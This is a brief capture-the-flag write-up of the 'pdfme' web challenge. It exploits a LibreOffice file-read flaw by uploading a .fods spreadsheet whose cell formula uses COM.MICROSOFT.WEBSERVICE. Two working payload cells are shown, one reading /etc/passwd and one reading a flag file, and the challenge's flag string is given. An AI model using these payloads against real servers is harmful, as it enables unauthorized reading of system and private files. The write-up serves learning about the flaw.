[WEB] pdfme

A simple website which only allows a user to upload a (**.fods)** file (OpenDocument Flat XML Spreadsheet).

Given that the file is so specific, I immediately Google “exploitation with LibreOffice” and found https://www.exploit-db.com/exploits/44022

Basically, LibreOffice (version 6.0.1 and below) allows remote attackers to read arbitrary files via =WEBSERVICE calls in a document, which use the COM.MICROSOFT.WEBSERVICE function.

The website provides a sample proof of concept (.fods) file and I simplified it. The important content is where we inject bash command inside a cell formula, in this case /etc/passwd.

```
<table:table-cell
table:formula="of:=COM.MICROSOFT.WEBSERVICE(&quot;/etc/passwd&quot;)"
office:value-type="string"
office:string-value=""
calcext:value-type="string">
    <text:p>#VALUE!</text:p>
</table:table-cell>
```

A pdf is generated after the upload and it shows the home directory of the server: libreoffice_admin:x:1000:1000::/home/libreoffice_admin:/bin/bash.

I performed some trial-and-error, and finally found the write folder and modify the (.fods) file.

```
<table:table-cell
table:formula="of:=COM.MICROSOFT.WEBSERVICE(&quot;/home/libreoffice_adm
in/flag&quot;)" office:value-type="string"
office:string-value=""
calcext:value-type="string">
    <text:p>#VALUE!</text:p>
</table:table-cell>
```

The flag for this challenge is **fb{wh0_7h0u6h7_l1br30ff1c3_c4n_b3_u53ful}**